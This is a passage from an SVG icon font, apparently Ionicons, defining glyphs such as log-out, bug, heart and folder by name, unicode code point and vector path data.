c0 -7 -6 -14 -13 -14h-1c-7 0 -14 7 -14 14v37c0 7 7 13 14 13h1zM392 320c4 0 8 -4 8 -8v-176c0 -4 -4 -8 -8 -8h-336c-4 0 -8 4 -8 8v176c0 4 4 8 8 8h336zM416 368c18 0 32 -14 32 -32v-224c0 -18 -14 -32 -32 -32h-384c-18 0 -32 14 -32 32v224c0 18 14 32 32 32h384z
M420 124v0v205c0 3 -1 6 -3 8v0c-2 2 -5 3 -8 3h-365c-9 0 -16 -7 -16 -16v-200c0 -9 7 -16 16 -16h360c9 0 16 7 16 16zM224 416c13 0 24 -13 24 -26h-48c0 13 11 26 24 26z" />
    <glyph glyph-name="ion-ios-log-out" unicode="&#xf1b2;" 
d="M264 76c8 0 14 -6 14 -14c0 -25 -21 -46 -46 -46h-186c-25 0 -46 21 -46 46v260c0 25 21 46 46 46h186c25 0 46 -21 46 -46c0 -8 -6 -14 -14 -14s-14 6 -14 14c0 10 -8 18 -18 18h-186c-10 0 -18 -8 -18 -18v-260c0 -10 8 -18 18 -18h186c10 0 18 8 18 18c0 8 6 14 14 14
zM325 290l84 -84c4 -4 7 -10 7 -15s-3 -11 -7 -15l-82 -82c-3 -3 -6 -4 -10 -4s-7 2 -10 4v0c-5 6 -5 15 0 20l64 64h-257c-8 0 -14 6 -14 14s6 14 14 14h256l-65 64c-6 6 -6 14 0 20c3 3 6 4 10 4s7 -1 10 -4z" />
    <glyph glyph-name="ion-md-options" unicode="&#xf33c;" horiz-adv-x="448" 
d="M0 32v32h272v-32h-272zM368 32v32h80v-32h-80zM352 0c0 -18 -14 -32 -32 -32v0c-18 0 -32 14 -32 32v96c0 18 14 32 32 32v0c18 0 32 -14 32 -32v-96zM0 176v32h80v-32h-80zM176 176v32h272v-32h-272zM160 144c0 -18 -14 -32 -32 -32v0c-18 0 -32 14 -32 32v96
c0 18 14 32 32 32v0c18 0 32 -14 32 -32v-96zM0 320v32h272v-32h-272zM368 320v32h80v-32h-80zM352 288c0 -18 -14 -32 -32 -32v0c-18 0 -32 14 -32 32v96c0 18 14 32 32 32v0c18 0 32 -14 32 -32v-96z" />
    <glyph glyph-name="ion-md-color-filter" unicode="&#xf2d1;" horiz-adv-x="384" 
d="M378 328c8 -8 8 -22 0 -30l-67 -67l41 -41l-30 -30l-30 30l-191 -190h-101v101l190 191l-30 30l30 30l41 -41l67 67c8 8 22 8 30 0zM84 43l172 171l-42 42l-171 -172z" />
    <glyph glyph-name="ion-ios-heart" unicode="&#xf443;" 
d="M304 392c62 -1 112 -51 112 -113c0 -37 -16 -90 -48 -133c-60 -82 -160 -154 -160 -154s-100 72 -160 154c-32 43 -48 96 -48 133c0 62 50 112 112 113v0v0h1c40 0 75 -21 95 -52c20 31 55 52 95 52h1v0v0z" />
    <glyph glyph-name="ion-md-rewind" unicode="&#xf370;" horiz-adv-x="448" 
d="M218 46l-218 146l218 146v-292zM230 192l218 146v-292z" />
    <glyph glyph-name="ion-md-reorder" unicode="&#xf369;" horiz-adv-x="320" 
d="M0 64v36h320v-36h-320zM0 284v36h320v-36h-320zM0 212v35h320v-35h-320zM0 137v35h320v-35h-320z" />
    <glyph glyph-name="ion-md-bus" unicode="&#xf2a8;" horiz-adv-x="352" 
d="M0 96v204c0 75 82 84 176 84s176 -9 176 -84v-204c0 -18 -14 -24 -27 -36v-39c0 -12 -9 -21 -21 -21h-21c-12 0 -22 9 -22 21v22h-170v-22c0 -12 -10 -21 -22 -21h-21c-12 0 -21 9 -21 21v39c-13 12 -27 17 -27 36zM80 80c18 0 32 14 32 32s-14 32 -32 32
s-32 -14 -32 -32s14 -32 32 -32zM272 80c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM304 203v106h-256v-106h256z" />
    <glyph glyph-name="ion-ios-medical" unicode="&#xf45c;" horiz-adv-x="353" 
d="M351 274c4 -7 1 -17 -6 -21l-99 -57c-3 -2 -3 -5 0 -7l99 -57c7 -4 10 -15 6 -22l-17 -28c-4 -7 -14 -10 -21 -6l-99 57c-3 2 -6 0 -6 -3v-115c0 -9 -6 -15 -15 -15h-33c-9 0 -16 6 -16 15v115c0 3 -3 5 -6 3l-98 -57c-7 -4 -17 -1 -21 6l-17 28c-4 7 -1 17 6 21l98 57
c3 2 3 5 0 7l-98 57c-7 4 -10 15 -6 22l17 28c4 7 14 10 21 6l98 -57c3 -2 6 0 6 3v114c0 9 7 16 16 16h33c9 0 15 -7 15 -16v-114c0 -3 3 -5 6 -3l99 57c7 4 17 1 21 -6z" />
    <glyph glyph-name="ion-ios-stats" unicode="&#xf21c;" horiz-adv-x="352" 
d="M104 0c-4 0 -8 4 -8 8v368c0 4 4 8 8 8h48c4 0 8 -4 8 -8v-368c0 -4 -4 -8 -8 -8h-48zM8 0c-4 0 -8 4 -8 8v144c0 4 4 8 8 8h48c4 0 8 -4 8 -8v-144c0 -4 -4 -8 -8 -8h-48zM200 0c-4 0 -8 4 -8 8v208c0 4 4 8 8 8h48c4 0 8 -4 8 -8v-208c0 -4 -4 -8 -8 -8h-48zM288 312
c0 4 4 8 8 8h48c4 0 8 -4 8 -8v-304c0 -4 -4 -8 -8 -8h-48c-4 0 -8 4 -8 8v304z" />
    <glyph glyph-name="ion-ios-battery-charging" unicode="&#xf120;" horiz-adv-x="480" 
d="M380 304c26 0 48 -22 48 -48v-128c0 -26 -22 -48 -48 -48h-332c-26 0 -48 22 -48 48v128c0 26 22 48 48 48h332zM400 128v128c0 11 -9 20 -20 20h-332c-11 0 -20 -9 -20 -20v-128c0 -11 9 -20 20 -20h332c11 0 20 9 20 20zM448 243c16 0 32 -27 32 -51s-16 -51 -32 -51
v102zM368 256c7 0 12 -5 12 -12v-104c0 -7 -5 -12 -12 -12h-308c-7 0 -12 5 -12 12v104c0 7 5 12 12 12h308zM203 140l45 61h-27l8 43l-45 -61h27z" />
    <glyph glyph-name="ion-logo-pinterest" unicode="&#xf244;" horiz-adv-x="448" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224c-22 0 -44 3 -64 9c8 14 18 31 23 48c3 10 16 62 16 62c8 -15 30 -28 54 -28c72 0 121 65 121 153c0 66 -56 129 -142 129c-106 0 -160 -76 -160 -140c0 -39 15 -73 46 -86c5 -2 10 0 12 6c1 4 3 14 4 18
c2 6 1 7 -3 12c-9 11 -15 24 -15 44c0 57 42 107 110 107c60 0 94 -36 94 -85c0 -65 -29 -119 -71 -119c-24 0 -42 19 -36 43c7 28 20 59 20 79c0 18 -10 34 -30 34c-24 0 -43 -25 -43 -58c0 -21 7 -36 7 -36s-25 -104 -29 -122c-4 -17 -5 -35 -4 -51
c-79 35 -134 113 -134 205c0 124 100 224 224 224z" />
    <glyph glyph-name="ion-md-call" unicode="&#xf2ac;" horiz-adv-x="384" 
d="M363 117c12 0 21 -9 21 -21v-75c0 -12 -9 -21 -21 -21c-201 0 -363 162 -363 363c0 12 9 21 21 21h75c12 0 21 -9 21 -21c0 -27 4 -52 13 -77c2 -7 0 -16 -5 -21l-47 -47c31 -61 80 -110 141 -141l47 47c5 6 14 7 21 5c23 -7 49 -12 76 -12z" />
    <glyph glyph-name="ion-ios-redo" unicode="&#xf499;" horiz-adv-x="448" 
d="M0 16v37c0 20 -4 97 57 159c40 41 91 61 163 65c2 0 4 2 4 4v83c0 3 3 5 6 3l216 -142c2 -2 2 -5 0 -7l-216 -142c-3 -2 -6 1 -6 4v81c0 2 -2 4 -4 4c-44 -2 -69 -11 -97 -23c-36 -16 -73 -51 -95 -84c-13 -20 -19 -33 -21 -39c-1 -2 -2 -3 -4 -3h-3z" />
    <glyph glyph-name="ion-md-sync" unicode="&#xf38b;" horiz-adv-x="320" 
d="M160 355c88 0 160 -73 160 -163c0 -32 -9 -62 -25 -87l-29 30c9 17 14 37 14 57c0 67 -54 122 -120 122v-61l-80 82l80 81v-61zM160 70v61l80 -82l-80 -81v61c-88 0 -160 73 -160 163c0 32 9 63 25 87l29 -30c-9 -17 -14 -37 -14 -57c0 -67 54 -122 120 -122z" />
    <glyph glyph-name="ion-ios-remove-circle" unicode="&#xf1fb;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM298 176c9 0 16 7 16 16s-7 16 -16 16h-180c-9 0 -16 -6 -16 -16s8 -16 16 -16h180z" />
    <glyph glyph-name="ion-md-medal" unicode="&#xf326;" 
d="M226 296h-226l54 104h241zM122 71c0 48 38 86 86 86s87 -38 87 -86s-39 -87 -87 -87s-86 39 -86 87zM301 149c-2 3 -5 5 -7 7c-23 23 -54 36 -86 36l139 208l69 -104zM158 181c-13 -6 -26 -14 -36 -24c-16 -16 -27 -36 -32 -57l-90 162h104z" />
    <glyph glyph-name="ion-ios-mail-open" unicode="&#xf1b6;" 
d="M406 238c4 -4 10 -13 10 -25v-213c0 -18 -14 -32 -32 -32h-352c-18 0 -32 14 -32 32v212c0 11 5 21 10 26s159 162 159 162c10 11 24 16 39 16s29 -5 39 -16c0 0 155 -158 159 -162zM386 196c10 10 0 36 -16 36h-324s-26 -26 -16 -36l81 -85c1 -1 1 -2 0 -3l-75 -80
c-5 -5 -5 -13 0 -18c2 -2 6 -4 9 -4s7 2 9 4l151 161c2 2 4 2 6 0l151 -161c2 -2 6 -4 9 -4s7 2 9 4c5 5 5 13 0 18l-75 80c-1 1 -1 2 0 3z" />
    <glyph glyph-name="ion-ios-checkbox" unicode="&#xf148;" horiz-adv-x="384" 
d="M352 384c18 0 32 -14 32 -32v-320c0 -18 -14 -32 -32 -32h-320c-18 0 -32 14 -32 32v320c0 18 14 32 32 32h320zM300 250c2 2 1 3 -1 5l-17 18c-1 1 -2 2 -3 2v0c-1 0 -2 -1 -3 -2l-122 -123l-44 45c-1 1 -2 1 -3 1s-2 0 -3 -1l-18 -18c-2 -2 -2 -4 0 -6l56 -56
c4 -4 8 -5 12 -5c5 0 10 3 12 5v0z" />
    <glyph glyph-name="ion-ios-code-download" unicode="&#xf155;" horiz-adv-x="384" 
d="M268 305l114 -109c1 -1 2 -2 2 -4s-1 -3 -2 -4l-114 -109c-1 -1 -2 -2 -4 -2s-3 1 -4 2l-14 13c-1 1 -2 2 -2 4s1 3 2 4l96 92l-96 92c-1 1 -2 2 -2 4s1 3 2 4l14 13c1 1 3 2 4 2s3 -1 4 -2zM42 192l96 -92c1 -1 2 -2 2 -4s-1 -3 -2 -4l-14 -13c-1 -1 -2 -2 -4 -2
c-1 0 -3 1 -4 2l-114 109c-1 1 -2 2 -2 4s1 3 2 4l114 109c1 1 3 2 4 2s3 -1 4 -2l14 -13c1 -1 2 -2 2 -4s-1 -3 -2 -4zM269 181c0 -4 -2 -8 -5 -11l-62 -57c-3 -2 -6 -4 -10 -4s-7 2 -10 4l-62 57c-3 3 -5 7 -5 11s1 7 4 10v0c3 3 7 4 11 4c3 0 6 -1 9 -3l39 -35v106
c0 8 6 15 14 15s14 -7 14 -15v-106l39 35c3 2 5 4 9 4s7 -2 10 -5h1c3 -3 4 -6 4 -10z" />
    <glyph glyph-name="ion-ios-alarm" unicode="&#xf3c8;" horiz-adv-x="384" 
d="M317 384c38 -2 67 -33 67 -69c0 -18 -7 -26 -16 -37c-1 -1 -3 -2 -5 -2h-1c-2 0 -3 1 -4 2l-90 80c-2 1 -2 4 -2 6s0 4 2 5c13 10 29 15 45 15v0h4zM0 315c0 36 29 67 67 69h4v0c16 0 32 -5 45 -15c2 -1 2 -3 2 -5s0 -5 -2 -6l-90 -80c-1 -1 -2 -2 -4 -2h-1
c-2 0 -4 1 -5 2c-9 11 -16 19 -16 37zM326 62l35 -36c6 -6 5 -15 -1 -21c-3 -3 -8 -5 -12 -5s-8 2 -11 5l-34 35c-30 -25 -69 -40 -111 -40s-81 15 -111 40l-35 -35c-3 -3 -7 -5 -11 -5s-8 2 -11 5c-6 6 -7 15 -1 21l35 36c-26 31 -42 70 -42 114c0 97 79 176 176 176
s176 -79 176 -176c0 -44 -16 -83 -42 -114zM206 174v116c0 8 -6 14 -14 14s-14 -6 -14 -14v-102h-68c-8 0 -14 -6 -14 -14s6 -14 14 -14h82c8 0 14 6 14 14z" />
    <glyph glyph-name="ion-ios-send" unicode="&#xf20c;" horiz-adv-x="384" 
d="M372 383c7 3 14 -4 11 -11l-152 -367c-3 -6 -12 -6 -15 0l-65 104c-4 6 -3 14 2 19l169 191c1 1 3 4 2 5s-5 -1 -6 -2l-195 -168c-5 -4 -13 -5 -19 -2l-99 56c-7 3 -6 12 0 15z" />
    <glyph glyph-name="ion-ios-fastforward" unicode="&#xf427;" horiz-adv-x="448" 
d="M444 199c5 -3 5 -11 0 -14l-208 -120c-5 -3 -12 1 -12 7v115l-212 -122c-5 -3 -12 1 -12 7v240c0 6 7 10 12 7l212 -122v115c0 6 7 10 12 7z" />
    <glyph glyph-name="ion-ios-timer" unicode="&#xf4c1;" horiz-adv-x="400" 
d="M200 -8c-110 0 -200 90 -200 200c0 55 21 106 61 144c6 6 17 6 23 0s6 -17 0 -23c-33 -32 -52 -75 -52 -121c0 -92 76 -168 168 -168s168 76 168 168c0 87 -67 159 -152 167v-63c0 -9 -7 -16 -16 -16s-16 7 -16 16v80c0 9 7 16 16 16c110 0 200 -90 200 -200
s-90 -200 -200 -200zM120 286l99 -71c14 -10 17 -28 7 -42s-28 -17 -42 -7c-3 2 -5 4 -7 7l-71 99c-3 4 -2 11 2 14s9 2 12 0z" />
    <glyph glyph-name="ion-md-water" unicode="&#xf3a7;" horiz-adv-x="352" 
d="M300 285c69 -72 69 -191 0 -263c-34 -36 -79 -54 -124 -54s-91 18 -125 54c-69 72 -69 191 0 263l125 131z" />
    <glyph glyph-name="ion-ios-heart-empty" unicode="&#xf19b;" 
d="M304 392c62 -1 112 -51 112 -113c0 -37 -16 -90 -48 -133c-60 -82 -160 -154 -160 -154s-100 72 -160 154c-32 43 -48 96 -48 133c0 62 50 112 112 113v0v0h1c40 0 75 -21 95 -52c20 31 55 52 95 52h1v0v0zM346 163c29 40 42 87 42 116c0 22 -8 44 -24 60s-38 25 -60 25
v0h-1v0c-14 0 -28 -4 -41 -11c-12 -7 -22 -16 -30 -28c-5 -8 -14 -13 -24 -13s-18 5 -23 13c-8 12 -19 21 -31 28c-13 7 -27 11 -41 11v0h-1v0c-23 0 -43 -9 -59 -25s-25 -37 -25 -60c0 -29 13 -76 42 -116c43 -58 108 -112 138 -136c30 24 95 78 138 136z" />
    <glyph glyph-name="ion-md-radio-button-off" unicode="&#xf360;" 
d="M208 400c114 0 208 -94 208 -208s-94 -208 -208 -208s-208 94 -208 208s94 208 208 208zM208 26c92 0 166 74 166 166s-74 166 -166 166s-166 -74 -166 -166s74 -166 166 -166z" />
    <glyph glyph-name="ion-md-chatboxes" unicode="&#xf2b6;" 
d="M344 384c4 0 7 -4 7 -8v-214c0 -4 -3 -9 -7 -9h-187l-90 -89v89h-57c-4 0 -10 5 -10 9v214c0 4 6 8 10 8h334zM408 321c4 0 8 -5 8 -9v-214c0 -4 -4 -9 -8 -9h-57v-89l-90 89h-130l39 39h181c18 0 25 10 25 26v167h32z" />
    <glyph glyph-name="ion-md-exit" unicode="&#xf2e6;" horiz-adv-x="384" 
d="M151 115l55 56h-206v42h207l-56 56l30 30l107 -107l-107 -107zM341 384c23 0 43 -20 43 -43v-298c0 -23 -20 -43 -43 -43h-298c-23 0 -43 20 -43 43v85h43v-85h298v298h-298v-85h-43v85c0 23 20 43 43 43h298z" />
    <glyph glyph-name="ion-ios-pulse" unicode="&#xf493;" horiz-adv-x="448" 
d="M403 176c25 -1 44 -21 45 -46c1 -27 -21 -50 -48 -50c-20 0 -38 13 -45 31h-51c-7 0 -13 5 -15 11l-16 47l-50 -173c-2 -7 -8 -12 -15 -12h-1c-8 0 -14 6 -15 13l-51 308l-37 -182c-2 -7 -9 -12 -16 -12h-72c-9 0 -16 7 -16 16v0c0 9 7 16 16 16h59l53 245
c2 7 9 12 17 12s14 -5 15 -13l52 -315l45 156c2 7 8 11 15 11v0c7 0 13 -4 15 -11l29 -85h38c7 20 27 34 49 33z" />
    <glyph glyph-name="ion-md-folder" unicode="&#xf2f5;" horiz-adv-x="448" 
d="M181 352l43 -48h181c23 0 43 -20 43 -43v-186c0 -23 -20 -43 -43 -43h-362c-23 0 -43 20 -43 43v234c0 23 20 43 43 43h138z" />
    <glyph glyph-name="ion-ios-copy" unicode="&#xf41c;" horiz-adv-x="384" 
d="M288 333c-10 0 -19 9 -19 19v72c0 4 3 8 7 8v0c6 0 16 -4 21 -8l77 -64c6 -5 10 -13 10 -21v0c0 -3 -3 -6 -6 -6h-90zM243 352c0 -25 20 -45 45 -45h96v-243c0 -18 -14 -32 -32 -32h-240c-18 0 -32 14 -32 32v336c0 18 14 32 32 32h131v-80zM52 36c0 -18 14 -32 32 -32
h236v-20c0 -18 -14 -32 -32 -32h-256c-18 0 -32 14 -32 32v352c0 18 14 32 32 32h20v-332z" />
    <glyph glyph-name="ion-md-basket" unicode="&#xf292;" horiz-adv-x="448" 
d="M330 243h98c11 0 20 -9 20 -20l-1 -6l-51 -187c-5 -17 -21 -30 -40 -30h-264c-19 0 -35 13 -40 30l-51 187c-1 2 -1 4 -1 6c0 11 9 20 20 20h98l89 132c4 6 11 9 17 9s13 -2 17 -8zM163 243h122l-61 89zM224 81c22 0 41 18 41 40s-19 41 -41 41s-41 -19 -41 -41
s19 -40 41 -40z" />
    <glyph glyph-name="ion-ios-contacts" unicode="&#xf161;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM351 136c9 -3 17 -8 23 -15c10 22 14 46 14 71c0 49 -19 94 -54 128c-34 33 -80 52 -128 52c-47 0 -91 -19 -125 -52c-34 -34 -53 -80 -53 -128c0 -33 9 -64 25 -92
c13 7 27 8 42 11c7 1 23 5 25 13s2 15 2 23c0 3 -1 3 -3 5c-4 4 -6 9 -8 14c-2 8 -3 16 -4 24c-9 -2 -10 16 -12 21c-1 4 -2 19 4 22c-3 5 -4 12 -5 18c-2 13 -2 26 3 39c10 26 36 39 63 38c26 -1 52 -15 60 -41c4 -12 3 -27 1 -40c-1 -5 -3 -10 -5 -14c8 -3 4 -21 3 -24
c-2 -5 -2 -21 -11 -19c-1 -10 -2 -22 -7 -31c-1 -2 -8 -8 -8 -10v-11c0 -5 0 -10 2 -15s10 -7 14 -8c14 -5 28 -5 42 -10c28 -10 45 -35 45 -65v0c0 -2 3 -3 5 -2s3 2 5 3c4 3 6 8 6 12c-2 17 -7 31 -20 44c-20 19 -46 25 -46 25c-3 1 -8 2 -12 3s-4 6 0 8c8 3 13 5 16 6
c4 1 15 4 16 9v14c-21 2 -29 6 -29 6c-6 3 -2 6 0 11c14 32 -10 88 32 105c7 3 15 4 25 4c12 0 23 -2 31 -7c15 -9 20 -27 20 -44c0 -20 -4 -44 7 -62c2 -3 4 -4 0 -6c0 0 -6 -5 -31 -6c0 0 -2 -13 1 -17c6 -7 21 -7 29 -10z" />
    <glyph glyph-name="ion-ios-desktop" unicode="&#xf16c;" horiz-adv-x="448" 
d="M320 6c0 -3 -2 -6 -5 -6h-182c-3 0 -5 3 -5 6c0 2 2 4 4 4l22 2c12 3 21 16 23 28l1 8h92l1 -8c2 -12 11 -25 23 -28l22 -2c2 0 4 -2 4 -4zM441 377c4 -4 7 -11 7 -17v-272c0 -6 -3 -13 -7 -17s-11 -7 -17 -7h-400c-6 0 -13 3 -17 7s-7 11 -7 17v272c0 6 3 13 7 17
s11 7 17 7h400c6 0 13 -3 17 -7zM224 88c4 0 8 4 8 8s-4 8 -8 8s-8 -4 -8 -8s4 -8 8 -8zM428 128c2 0 4 2 4 4v224c0 7 -5 12 -12 12h-392c-7 0 -12 -5 -12 -12v-224c0 -2 2 -4 4 -4h408z" />
    <glyph glyph-name="ion-logo-yahoo" unicode="&#xf34d;" horiz-adv-x="320" 
d="M289 380c11 0 21 1 31 4l-128 -213v-171c-10 4 -21 4 -32 4s-22 0 -32 -4v171l-128 213c10 -4 21 -4 32 -4s22 0 32 4l96 -160l96 160c10 -4 22 -4 33 -4z" />
    <glyph glyph-name="ion-ios-laptop" unicode="&#xf1a8;" horiz-adv-x="480" 
d="M432 80h48v0c0 -10 -10 -19 -20 -23s-28 -9 -48 -9h-344c-20 0 -38 5 -49 10c-9 4 -19 12 -19 22v0h48v239c0 10 8 17 17 17h350c9 0 17 -8 17 -17v-239zM240 328c-2 0 -4 -2 -4 -4s2 -4 4 -4s4 2 4 4s-2 4 -4 4zM66 312c-1 0 -2 -1 -2 -2v-212c0 -1 1 -2 2 -2h348
c1 0 2 1 2 2v212c0 1 -1 2 -2 2h-348zM282 72c7 0 10 6 10 8h-104c0 -2 5 -8 10 -8h84z" />
    <glyph glyph-name="ion-ios-flame" unicode="&#xf42f;" horiz-adv-x="288" 
d="M108 400c98 -59 187 -161 180 -267c-8 -125 -117 -149 -143 -149s-144 38 -145 149c-1 136 137 132 108 267zM182 45c2 6 3 12 3 18c0 41 -41 88 -41 88s-40 -47 -40 -88c0 -6 0 -12 2 -18c10 -39 66 -39 76 0z" />
    <glyph glyph-name="ion-md-contract" unicode="&#xf2d8;" horiz-adv-x="384" 
d="M0 77v51h128v-128h-51v77h-77zM77 307v77h51v-128h-128v51h77zM256 0v128h128v-51h-77v-77h-51zM307 307h77v-51h-128v128h51v-77z" />
    <glyph glyph-name="ion-md-female" unicode="&#xf2eb;" horiz-adv-x="288" 
d="M288 272c0 -71 -52 -131 -120 -142v-50h72v-48h-72v-64h-48v64h-72v48h72v50c-68 11 -120 71 -120 142c0 80 64 144 144 144s144 -64 144 -144zM48 272c0 -53 43 -96 96 -96s96 43 96 96s-43 96 -96 96s-96 -43 -96 -96z" />
    <glyph glyph-name="ion-md-share" unicode="&#xf379;" horiz-adv-x="384" 
d="M320 104c34 0 62 -28 62 -62s-28 -62 -62 -62s-62 28 -62 62c0 5 1 10 2 14l-152 88c-12 -11 -27 -17 -44 -17c-35 0 -64 29 -64 64s28 64 63 64c17 0 32 -6 44 -17l151 87c-1 5 -2 10 -2 15c0 35 29 64 64 64s64 -29 64 -64s-29 -64 -64 -64c-17 0 -32 6 -44 17
l-151 -87c1 -5 2 -10 2 -15s-1 -10 -2 -15l153 -88c11 11 26 16 42 16z" />
    <glyph glyph-name="ion-md-calculator" unicode="&#xf2aa;" horiz-adv-x="320" 
d="M272 400c27 0 48 -22 48 -48v-320c0 -26 -22 -48 -48 -48h-224c-27 0 -48 22 -48 48v320c0 26 21 48 48 48h224zM104 32v48h-48v-48h48zM104 120v48h-48v-48h48zM104 208v48h-48v-48h48zM184 32v48h-48v-48h48zM184 120v48h-48v-48h48zM184 208v48h-48v-48h48zM264 32
v136h-48v-136h48zM264 208v48h-48v-48h48zM264 304v48h-208v-48h208z" />
    <glyph glyph-name="ion-ios-nutrition" unicode="&#xf470;" horiz-adv-x="384" 
d="M295 216v0c6 -6 9 -14 9 -23c0 -11 -5 -20 -13 -26v0s-44 -33 -97 -72c-3 -2 -7 -2 -10 0l-37 26c-4 3 -8 3 -10 1v0c-2 -2 -2 -6 1 -10l21 -32c2 -4 1 -9 -2 -11l-105 -77c-6 -4 -12 -8 -20 -8c-18 0 -32 14 -32 32c0 7 2 13 5 18v0c1 2 11 18 29 46c2 4 6 5 10 3l17 -8
c4 -3 8 -3 10 -1v0c2 2 2 6 -1 10l-14 24c-2 3 -2 6 0 8c24 39 49 79 71 114c2 4 7 4 11 2l32 -20c4 -3 8 -3 10 -1v0c2 2 2 6 -1 10l-27 41c-2 3 -2 5 0 8l12 20v0c6 10 16 16 28 16c9 0 18 -4 24 -10v0l79 -79v-1v0zM383 317c2 -4 1 -9 -3 -11l-92 -47l-28 29l57 108
c2 4 7 5 11 3l18 -8c4 -2 5 -7 3 -11l-48 -79l60 37c4 2 9 1 11 -3z" />
    <glyph glyph-name="ion-md-folder-open" unicode="&#xf2f4;" horiz-adv-x="448" 
d="M405 304c23 0 43 -20 43 -43v-186c0 -23 -20 -43 -43 -43h-362c-23 0 -43 20 -43 43v234c0 23 20 43 43 43h138l43 -48h181zM416 75v186c0 6 -5 11 -11 11h-373v-197c0 -6 5 -11 11 -11h362c6 0 11 5 11 11z" />
    <glyph glyph-name="ion-md-bug" unicode="&#xf2a5;" horiz-adv-x="384" 
d="M384 288v-48h-50c1 -8 2 -16 2 -24v-24h48v-48h-48v-24c0 -8 -1 -16 -2 -24h50v-48h-67c-25 -43 -72 -72 -125 -72s-100 29 -125 72h-67v48h50c-1 8 -2 16 -2 24v24h-48v48h48v24c0 8 1 16 2 24h-50v48h68c11 19 25 35 43 47l-39 39l34 34l52 -52c11 3 22 4 34 4
s23 -1 34 -4l52 52l34 -34l-39 -39c18 -12 33 -28 44 -47h67z" />
    <glyph glyph-name="ion-md-arrow-round-up" unicode="&#xf28b;" horiz-adv-x="332" 
d="M323 221c12 -12 12 -31 0 -43s-34 -12 -46 0l-79 83v-214c0 -17 -14 -31 -32 -31s-32 14 -32 31v214l-79 -83c-12 -12 -34 -12 -46 0s-12 31 0 43l134 138c6 6 14 9 23 9v0c9 0 17 -3 23 -9z" />
    <glyph glyph-name="ion-ios-save" unicode="&#xf1a6;" horiz-adv-x="384" 
d="M208 384c4 0 8 -4 8 -8v-72c0 -4 -4 -8 -8 -8h-12c-4 0 -12 4 -12 8v72c0 4 4 8 8 8h16zM370 318c9 -9 14 -21 14 -34v-252c0 -18 -14 -32 -32 -32h-320c-18 0 -32 14 -32 32v320c0 18 14 32 32 32h32c9 0 16 -7 16 -16v-80c0 -9 7 -16 16 -16h128c9 0 16 7 16 16v80
c0 9 7 16 16 16h28c13 0 25 -5 34 -14zM258 48v96c0 9 -8 16 -18 16h-160c-10 0 -18 -7 -18 -16v-96c0 -9 8 -16 18 -16h160c10 0 18 7 18 16z" />
    <glyph glyph-name="ion-md-ribbon" unicode="&#xf371;" horiz-adv-x="384" 
d="M192 416c71 0 128 -57 128 -128s-57 -128 -128 -128s-128 57 -128 128s57 128 128 128zM192 208c44 0 80 36 80 80s-36 80 -80 80s-80 -36 -80 -80s36 -80 80 -80zM130 141c20 -8 40 -13 62 -13c9 0 18 1 26 2l-26 -56l-48 -106l-48 80h-96l75 131c1 -2 3 -3 4 -4
c15 -15 32 -26 51 -34zM309 179l75 -131h-96l-48 -80l-32 70l22 49l24 54c19 8 36 19 51 34z" />
    <glyph glyph-name="ion-ios-sunny" unicode="&#xf4b7;" 
d="M208 61c8 0 15 -7 15 -15v-47c0 -8 -7 -15 -15 -15s-15 7 -15 15v47c0 8 7 15 15 15zM208 400c8 0 15 -7 15 -15v-47c0 -8 -7 -15 -15 -15s-15 7 -15 15v47c0 8 7 15 15 15zM77 192c0 -8 -7 -15 -15 -15h-47c-8 0 -15 7 -15 15s7 15 15 15h47c8 0 15 -7 15 -15zM401 207
c8 0 15 -7 15 -15s-7 -15 -15 -15h-47c-8 0 -15 7 -15 15s7 15 15 15h47zM104 104c4 0 8 -2 11 -5c6 -6 6 -15 0 -21l-32 -33c-3 -3 -7 -5 -11 -5s-8 2 -11 5s-5 7 -5 11s2 8 5 11l33 32c3 3 6 5 10 5zM312 280c-4 0 -8 2 -11 5s-5 7 -5 11s2 7 5 10l32 33c3 3 7 5 11 5
s8 -2 11 -5s5 -7 5 -11s-2 -8 -5 -11l-33 -32c-3 -3 -6 -5 -10 -5zM83 339l32 -33c3 -3 5 -6 5 -10s-2 -8 -5 -11s-7 -5 -11 -5s-7 2 -10 5l-33 32c-3 3 -5 7 -5 11s2 8 5 11s7 5 11 5s8 -2 11 -5zM322 99l33 -32c3 -3 5 -7 5 -11s-2 -8 -5 -11s-7 -5 -11 -5s-8 2 -11 5
l-32 33c-6 6 -6 15 0 21c3 3 7 5 11 5s7 -2 10 -5zM208 288v0c53 0 96 -43 96 -96s-43 -96 -96 -96s-96 43 -96 96s43 96 96 96z" />
    <glyph glyph-name="ion-ios-subway" unicode="&#xf21e;" horiz-adv-x="320" 
d="M256 416c35 0 64 -29 64 -64v-232c0 -35 -29 -64 -64 -64h-192c-35 0 -64 29 -64 64v232c0 35 29 64 64 64h192zM104 392c-4 0 -8 -4 -8 -8s4 -8 8 -8h112c4 0 8 4 8 8s-4 8 -8 8h-112zM72 88c16 0 28 12 28 28s-12 28 -28 28s-28 -12 -28 -28s12 -28 28 -28zM248 88
c16 0 28 12 28 28s-12 28 -28 28s-28 -12 -28 -28s12 -28 28 -28zM288 240v96c0 9 -7 16 -16 16h-224c-9 0 -16 -7 -16 -16v-96c0 -9 7 -16 16 -16h224c9 0 16 7 16 16zM298 -8c6 -5 6 -14 0 -20c-3 -3 -6 -4 -10 -4s-7 1 -10 4l-14 14h-208l-14 -14c-3 -3 -6 -4 -10 -4
s-7 1 -10 4c-5 6 -6 15 0 20l50 48c6 5 15 6 20 0s6 -15 0 -20l-6 -6h148l-6 6c-6 5 -5 14 0 20s14 5 20 0z" />
    <glyph glyph-name="ion-md-clock" unicode="&#xf2be;" 
d="M355 339c81 -81 81 -213 0 -294s-213 -81 -294 0s-81 213 0 294s213 81 294 0zM339 286c-8 -4 -10 -14 -6 -22s14 -10 22 -6s10 14 6 22s-14 10 -22 6zM32 192c0 -9 7 -16 16 -16s16 7 16 16s-7 16 -16 16s-16 -7 -16 -16zM77 98c8 4 10 14 6 22s-14 10 -22 6
s-9 -14 -5 -22s13 -10 21 -6zM83 264c4 8 2 18 -6 22s-17 2 -21 -6s-3 -18 5 -22s18 -2 22 6zM120 344c-8 -4 -10 -14 -6 -22s14 -9 22 -5s10 13 6 21s-14 10 -22 6zM112 234l80 -47v-123h31v139l-95 57zM142 45c4 8 2 18 -6 22s-18 2 -22 -6s-2 -17 6 -21s18 -3 22 5z
